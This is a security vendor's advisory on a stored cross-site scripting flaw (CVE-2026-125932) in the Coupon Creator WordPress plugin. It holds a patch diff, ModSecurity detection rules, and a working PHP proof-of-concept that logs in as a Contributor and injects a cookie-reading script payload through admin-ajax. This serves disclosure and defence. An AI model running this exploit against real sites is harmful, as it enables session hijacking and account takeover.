Published : November 23, 2026

CVE-2026-125932: Coupon Creator <= 3.6.5 Authenticated (Contributor+) Stored Cross-Site Scripting via 'cctor_expiration' Post Meta PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.6.5
Patched Version 3.6.6
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-125932: Coupon Creator plugin versions up to and including 3.6.5 allow authenticated users with Contributor-level access and above to inject arbitrary web scripts via the ‘cctor_expiration’ post meta field, resulting in stored cross-site scripting (XSS). The vulnerability exists because the cctor_coupon post type advertises ‘custom-fields’ support, enabling WordPress core’s Custom Fields metabox for Contributors, and the unregistered cctor_expiration meta key bypasses sanitization since sanitize_meta() is a no-op for unregistered keys. CVSS score 6.4.

Root Cause: The root cause is insufficient input sanitization and output escaping in the Coupon Creator plugin. The cctor_coupon post type supports ‘custom-fields’, which exposes WordPress core’s Custom Fields metabox to Contributor-level users. The cctor_expiration meta key is not registered with a sanitization callback, so when saved via the Custom Fields box (admin-ajax add-meta or update-meta actions), WordPress core’s sanitize_meta() function does nothing, allowing raw HTML to be stored verbatim. Additionally, output in the admin columns (src/Cctor/Admin/Columns.php, line 226) and template functions (e.g., src/functions/template-functions/cctor-function-meta.php, line 17) lacks proper escaping, enabling script execution when the stored data is rendered.

Exploitation: An attacker with Contributor-level access can send a single AJAX request to /wp-admin/admin-ajax.php with action=add-meta (or update-meta), post_id set to a coupon post they can edit, meta_key=cctor_expiration, and meta_value containing a malicious script (e.g., alert(document.cookie)). The nonce for the Custom Fields metabox is accessible to Contributors, so the request succeeds. The injected script executes in the browser of any user (including administrators) who views the coupon editing page or the front-end page where the coupon is displayed, leading to session hijacking, defacement, or other client-side attacks.

Patch Analysis: The patch (v3.6.6) addresses the vulnerability through multiple layers. In src/Cctor/Post_Type_Coupon.php, a new function protect_coupon_meta() marks all cctor_ meta keys as protected via the is_protected_meta filter, preventing them from being written through the Custom Fields box. In plugin-engine/src/Pngx/Admin/Ajax.php, a nonce and capability check was added: if the post ID exists, edit_post capability is required; for new posts, publish_posts capability is required, and protected meta keys are refused. This blocks unauthorized meta updates. In plugin-engine/src/Pngx/Allowed_Tags.php, a new kses() method replaces strip_tags() to properly filter HTML tags and attributes using wp_kses(). Multiple output escaping fixes were applied: in src/Cctor/Admin/Columns.php, the display expiration value is now escaped with esc_html(); in template functions (cctor-function-image.php, cctor-function-links.php, cctor-function-meta.php), get_the_title() is escaped with esc_attr() or esc_html(); and in plugin-engine/src/Pngx/Style/Linked.php, css_value() validates color values to prevent CSS injection.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users’ browsers, including administrators. This can lead to cookie theft, session hijacking, privilege escalation (by creating new admin accounts), data exfiltration, or defacement of the site. The stored XSS affects any page where the coupon or its metadata is displayed, potentially impacting all site visitors if the coupon is published.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/coupon-creator/coupon_creator.php
+++ b/coupon-creator/coupon_creator.php
@@ -3,7 +3,7 @@
 Plugin Name: Coupon Creator
 Plugin URI: https://artifexrouting.com/wordpress-plugins/coupon-creator/
 Description: Designed, printable coupons for WordPress. Put a real coupon on your site.
-Version: 3.6.5
+Version: 3.6.6
 Author: Artifex Routing Co
 Author URI: https://artifexrouting.com
 Text Domain: coupon-creator
--- a/coupon-creator/plugin-engine/src/Pngx/Admin/Ajax.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Admin/Ajax.php
@@ -234,6 +234,22 @@

 		$post_id = absint( $_POST['post_id'] );

+		/*
+		 * The nonce proves intent, not permission. An existing post needs edit_post.
+		 * A new post is saved as published, so it needs publish_posts on its type.
+		 * Protected (underscore and cctor_) keys are never written from here.
+		 */
+		$post_type_object = get_post_type_object( sanitize_key( wp_unslash( $_POST['post_type'] ) ) );
+		if ( $post_id ) {
+			$can_save = current_user_can( 'edit_post', $post_id );
+		} else {
+			$can_save = $post_type_object && current_user_can( $post_type_object->cap->publish_posts );
+		}
+
+		if ( ! $can_save || is_protected_meta( (string) wp_unslash( $_POST['field_name'] ), 'post' ) ) {
+			wp_send_json_error( __( 'Permission Error has occurred. Please save, reload, and try again.', 'plugin-engine' ) );
+		}
+
 		if ( empty( $post_id ) || ! empty( $_POST['title_field'] ) ) {

 			$menu_item = array(
--- a/coupon-creator/plugin-engine/src/Pngx/Allowed_Tags.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Allowed_Tags.php
@@ -8,10 +8,39 @@
 /**
  * Allowed Tags in Fields
  *
- *  Used with strip_tags();
+ *  Used with kses();
  */
 class Pngx__Allowed_Tags {

+	/**
+	 * Filters HTML down to an allowed-tags string such as `<p><img><a>`.
+	 *
+	 * Replaces strip_tags( $content, $tags ): strip_tags keeps every attribute
+	 * on an allowed tag, so `<img onerror=...>` got through. This keeps the same
+	 * tags, with the attributes and URL protocols wp_kses_post() allows for each
+	 * one. A tag outside that list, such as `<style>`, is kept with no attributes.
+	 *
+	 * @since 4.0.12
+	 *
+	 * @param mixed $content HTML to filter.
+	 * @param mixed $tags    Allowed tags, as a string of `<tag>` names.
+	 *
+	 * @return string
+	 */
+	public static function kses( $content, $tags ) {
+		$post_tags = wp_kses_allowed_html( 'post' );
+		$allowed   = array();
+
+		preg_match_all( '/<([a-z][a-z0-9]*)>/i', is_string( $tags ) ? $tags : '', $matches );
+
+		foreach ( $matches[1] as $tag ) {
+			$tag             = strtolower( $tag );
+			$allowed[ $tag ] = isset( $post_tags[ $tag ] ) ? $post_tags[ $tag ] : array();
+		}
+
+		return wp_kses( (string) $content, $allowed );
+	}
+
 	/*
 	* Allowed Tags for content without links support
 	*/
--- a/coupon-creator/plugin-engine/src/Pngx/Field/Content.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Field/Content.php
@@ -52,7 +52,7 @@

 		?>
 		<div class="pngx-content <?php echo esc_attr( $class ); ?>" <?php echo wp_strip_all_tags( $style ); ?>>
-			<?php echo strip_tags( $meta,  apply_filters( 'pngx_filter_content_allowed_tags', Pngx__Allowed_Tags::$tags() ) ); ?>
+			<?php echo Pngx__Allowed_Tags::kses( $meta, apply_filters( 'pngx_filter_content_allowed_tags', Pngx__Allowed_Tags::$tags() ) ); ?>
 		</div>
 		<?php
 	}
--- a/coupon-creator/plugin-engine/src/Pngx/Field/Image.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Field/Image.php
@@ -32,7 +32,7 @@
 		if ( $image_src ) {
 			?>
 			<div class="pngx-image <?php echo esc_attr( $class ); ?>" <?php echo wp_strip_all_tags( $style ); ?>>
-				<img src='<?php echo esc_url( $image_src ); ?>' alt='<?php echo get_the_title(); ?>' title='<?php echo get_the_title(); ?>'>
+				<img src='<?php echo esc_url( $image_src ); ?>' alt='<?php echo esc_attr( get_the_title() ); ?>' title='<?php echo esc_attr( get_the_title() ); ?>'>
 			</div>
 			<?php
 		}
--- a/coupon-creator/plugin-engine/src/Pngx/Field/Title.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Field/Title.php
@@ -32,7 +32,7 @@

 		<?php echo $wrap ? '<' . esc_attr( $wrap ) . ' class="' . esc_attr( $class ) . '" ' . wp_strip_all_tags( $style ) . '>' : ''; ?>

-		<?php echo strip_tags( $meta, Pngx__Allowed_Tags::$tags() ); ?>
+		<?php echo Pngx__Allowed_Tags::kses( $meta, Pngx__Allowed_Tags::$tags() ); ?>

 		<?php echo $wrap ? '</' . esc_attr( $wrap ) . '>' : ''; ?>

--- a/coupon-creator/plugin-engine/src/Pngx/Main.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Main.php
@@ -11,7 +11,7 @@
 	 *
 	 * @var string
 	 */
-	const VERSION = '4.0.11';
+	const VERSION = '4.0.12';

 	/**
 	 * Stores the slug for the plugin engine.
--- a/coupon-creator/plugin-engine/src/Pngx/Style/Linked.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Style/Linked.php
@@ -31,15 +31,15 @@
 			foreach ( $field['styles'] as $type => $field_name ) {

 				if ( 'font-color' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= 'color:' . $color . '; ';
+					$style .= 'color:' . self::css_value( $color ) . '; ';
 				}

 				if ( 'background-color' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= 'background-color:' . $color . '; ';
+					$style .= 'background-color:' . self::css_value( $color ) . '; ';
 				}

 				if ( 'background-color:hover' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= 'background-color:hover ' . $color . '; ';
+					$style .= 'background-color:hover ' . self::css_value( $color ) . '; ';
 				}

 			}
@@ -51,18 +51,18 @@
 			foreach ( $field['styles'] as $type => $field_name ) {

 				if ( 'font-color' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . '{ color:' . esc_attr( $color ) . '; }';
+					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . '{ color:' . self::css_value( $color ) . '; }';
 				}

 				if ( 'background-color' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . '{ background-color:' . esc_attr( $color ) . '; }';
+					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . '{ background-color:' . self::css_value( $color ) . '; }';
 				}

 				//todo create a filter here and modify the output using that instead of adding specific styling
 				if ( 'background-color-fold' === $type && $color = get_post_meta( $post_id, $field['styles']['background-color'], true ) ) {
 					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . ':after {
-							border-left: solid 6px' . esc_attr( $color ) . ';
-							border-top: solid 6px' . esc_attr( $color ) . ';
+							border-left: solid 6px' . self::css_value( $color ) . ';
+							border-top: solid 6px' . self::css_value( $color ) . ';
 						}';

 					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . '.revealed:after {
@@ -73,7 +73,7 @@
 				}

 				if ( 'background-color:hover' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . ':hover' . '{ background-color:' . esc_attr( $color ) . '; }';
+					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . ':hover' . '{ background-color:' . self::css_value( $color ) . '; }';
 				}

 			}
@@ -85,4 +85,24 @@

 	}

+	/**
+	 * Returns a stored color only when it is a plain CSS color value.
+	 *
+	 * The values are post meta that end up inside a style attribute or a
+	 * <style> block. Letters, digits, `#`, `(`, `)`, `,`, `.`, `%` and spaces
+	 * cover hex, rgb(a), hsl(a) and named colors, and leave no way to close the
+	 * attribute (`"`), the rule (`;` `}`) or the tag (`<`).
+	 *
+	 * @since 4.0.12
+	 *
+	 * @param mixed $value Stored color.
+	 *
+	 * @return string The color, or an empty string.
+	 */
+	protected static function css_value( $value ) {
+		$value = trim( (string) $value );
+
+		return preg_match( '/^[#a-zA-Z0-9(),.%s]+$/', $value ) ? $value : '';
+	}
+
 }
--- a/coupon-creator/src/Cctor/Admin/Columns.php
+++ b/coupon-creator/src/Cctor/Admin/Columns.php
@@ -223,7 +223,7 @@
 					esc_html_e( 'No expiration', 'coupon-creator' );
 				} else {
 					$display_expiration = $coupon_expiration->get_display_expiration();
-					echo $display_expiration ? $display_expiration : '—';
+					echo $display_expiration ? esc_html( (string) $display_expiration ) : '—';
 				}

 				break;
--- a/coupon-creator/src/Cctor/Main.php
+++ b/coupon-creator/src/Cctor/Main.php
@@ -44,7 +44,7 @@
 	protected $min_php = '8.2';

 	const VERSION_KEY              = 'cctor_coupon_version';
-	const VERSION_NUM              = '3.6.5';
+	const VERSION_NUM              = '3.6.6';
 	const MIN_PNGX_VERSION         = '4.0.2';
 	// Minimum add-on versions this core is compatible with — enforced by
 	// gate_outdated_extensions(), which unhooks anything below them rather than
@@ -66,7 +66,7 @@
 	const OPTIONS_ID               = 'coupon_creator_options';

 	public $VERSION_KEY              = 'cctor_coupon_version';
-	public $VERSION_NUM              = '3.6.5';
+	public $VERSION_NUM              = '3.6.6';
 	public $MIN_PNGX_VERSION         = '4.0.2';
 	public $WP_PLUGIN_URL            = 'https://wordpress.org/plugins/coupon-creator/';
 	public $COUPON_CREATOR_STORE_URL = 'https://artifexrouting.com/edd-api/';
--- a/coupon-creator/src/Cctor/Post_Type_Coupon.php
+++ b/coupon-creator/src/Cctor/Post_Type_Coupon.php
@@ -262,6 +262,31 @@
 	}

 	/**
+	 * Marks every `cctor_` post meta key as protected.
+	 *
+	 * The coupon post type supports 'custom-fields', so without this any user who
+	 * can edit a coupon could write these keys raw through core's Custom Fields box
+	 * (admin-ajax add-meta / update-meta), skipping the coupon meta box sanitizers.
+	 * Protected keys are hidden from that box and refused by those requests. The
+	 * plugin's own saves use update_post_meta() directly and are not affected.
+	 *
+	 * @since 3.6.6
+	 *
+	 * @param bool        $protected Whether the key is protected.
+	 * @param string      $meta_key  Meta key.
+	 * @param string|null $meta_type Object type.
+	 *
+	 * @return bool
+	 */
+	public function protect_coupon_meta( $protected, $meta_key, $meta_type = null ) {
+		if ( 'post' === $meta_type && is_string( $meta_key ) && 0 === strpos( $meta_key, 'cctor_' ) ) {
+			return true;
+		}
+
+		return $protected;
+	}
+
+	/**
 	 * Register the post types.
 	 *
 	 * @since 3.0
--- a/coupon-creator/src/Cctor/Provider.php
+++ b/coupon-creator/src/Cctor/Provider.php
@@ -61,6 +61,7 @@
 		add_filter( 'pngx_dropdown_cctor_coupons', array( 'Cctor__Coupon__Admin__Inserter', 'search_coupons' ), 10, 3 );
 		add_filter( 'pngx_dropdown_capability', array( 'Cctor__Coupon__Admin__Inserter', 'dropdown_capability' ), 10, 2 );
 		add_action( 'init', pngx_callback( 'cctor.post_menu', 'register' ), 5 );
+		add_filter( 'is_protected_meta', pngx_callback( 'cctor.post_menu', 'protect_coupon_meta' ), 10, 3 );
 		add_action( 'init',  pngx_callback( 'Pngx__Cron_20', 'filter_cron_schedules' ) );
 		add_action( 'pre_get_posts', pngx_callback( 'cctor.search', 'remove_coupon_from_search' ) );

--- a/coupon-creator/src/Cctor/Templates.php
+++ b/coupon-creator/src/Cctor/Templates.php
@@ -64,6 +64,11 @@
 			$template .= '.php';
 		}

+		// The type name comes from post meta: never let it leave the views folders.
+		if ( 0 !== validate_file( $template ) ) {
+			return false;
+		}
+
 		$file = false;

 		// Theme override: [your-theme]/cctor-coupons/type/<type>.php
--- a/coupon-creator/src/functions/template-functions/cctor-function-image.php
+++ b/coupon-creator/src/functions/template-functions/cctor-function-image.php
@@ -36,6 +36,6 @@
 */
 function cctor_show_print_img( $coupon_id, $couponimage ) {

-	?><img class='cctor_coupon_image' src='<?php echo esc_url( $couponimage ); ?>' alt='<?php echo get_the_title(); ?>' title='<?php echo get_the_title(); ?>'><?php
+	?><img class='cctor_coupon_image' src='<?php echo esc_url( $couponimage ); ?>' alt='<?php echo esc_attr( get_the_title() ); ?>' title='<?php echo esc_attr( get_the_title() ); ?>'><?php

 }
 No newline at end of file
--- a/coupon-creator/src/functions/template-functions/cctor-function-links.php
+++ b/coupon-creator/src/functions/template-functions/cctor-function-links.php
@@ -31,7 +31,7 @@
 		</a><?php
 	} else {
 		//No Links for Image Coupon or Click to Print
-		?><img class='cctor_coupon_image' src='<?php echo esc_url( $couponimage ); ?>' alt='<?php echo get_the_title( $coupon_id ); ?>' title='<?php echo get_the_title( $coupon_id ); ?>'><?php
+		?><img class='cctor_coupon_image' src='<?php echo esc_url( $couponimage ); ?>' alt='<?php echo esc_attr( get_the_title( $coupon_id ) ); ?>' title='<?php echo esc_attr( get_the_title( $coupon_id ) ); ?>'><?php
 	}

 }
--- a/coupon-creator/src/functions/template-functions/cctor-function-meta.php
+++ b/coupon-creator/src/functions/template-functions/cctor-function-meta.php
@@ -14,7 +14,7 @@
 	if ( cctor_options( 'cctor_nofollow_print_template', true, 1 ) == 1 ) { ?>
 		<meta name="robots" content="noindex,nofollow"/>
 	<?php } ?>
-	<title><?php echo get_the_title(); ?></title>
+	<title><?php echo esc_html( get_the_title() ); ?></title>
 	<link rel="profile" href="http://gmpg.org/xfn/11"/>

 	<!--Make Background White to Print Coupon -->
--- a/coupon-creator/vendor/composer/installed.php
+++ b/coupon-creator/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'artifexrouting/coupon-creator',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'c189aa2705c69266f2f72ca3f6e9c03b6ddb9584',
+        'reference' => 'e961c8a796ec8651fe610f0135e3fa8d1ed02e58',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'artifexrouting/coupon-creator' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'c189aa2705c69266f2f72ca3f6e9c03b6ddb9584',
+            'reference' => 'e961c8a796ec8651fe610f0135e3fa8d1ed02e58',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-125932
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026125932,phase:2,deny,status:403,chain,msg:'CVE-2026-125932 via Coupon Creator AJAX add-meta',severity:'CRITICAL',tag:'CVE-2026-125932'"
  SecRule ARGS_POST:action "@streq add-meta" "chain"
    SecRule ARGS_POST:meta_key "@streq cctor_expiration" "chain"
      SecRule ARGS_POST:meta_value "@rx <script|onerror|onload|javascript:|alert(" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026125933,phase:2,deny,status:403,chain,msg:'CVE-2026-125932 via Coupon Creator AJAX update-meta',severity:'CRITICAL',tag:'CVE-2026-125932'"
  SecRule ARGS_POST:action "@streq update-meta" "chain"
    SecRule ARGS_POST:meta_key "@streq cctor_expiration" "chain"
      SecRule ARGS_POST:meta_value "@rx <script|onerror|onload|javascript:|alert(" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125932 - Coupon Creator <= 3.6.5 - Authenticated (Contributor+) Stored XSS via 'cctor_expiration' Post Meta

$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'contributor'; // Contributor-level credentials
$password = 'password';
$post_id = 1; // ID of a coupon post the user can edit

// Step 1: Log in to WordPress
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get the nonce for the Custom Fields metabox
// In a real attack, the nonce can be extracted from the post edit page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce (simplified; actual extraction requires parsing HTML)
preg_match('/name="_ajax_nonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die('Failed to extract nonce. Make sure the post edit page is accessible.');
}

// Step 3: Send AJAX request to add malicious meta
$payload = '<script>alert(document.cookie)</script>';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'add-meta',
    'post_id' => $post_id,
    'meta_key' => 'cctor_expiration',
    'meta_value' => $payload,
    '_ajax_nonce' => $nonce,
    'post_type' => 'cctor_coupon'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo 'Exploit successful: Malicious meta value injected.n';
} else {
    echo 'Exploit failed. HTTP code: ' . $http_code . 'n';
}

// Step 4: The stored XSS will execute when an admin views the coupon edit page or the coupon is displayed.
// For demonstration, visit the coupon edit page as admin: $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit'
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.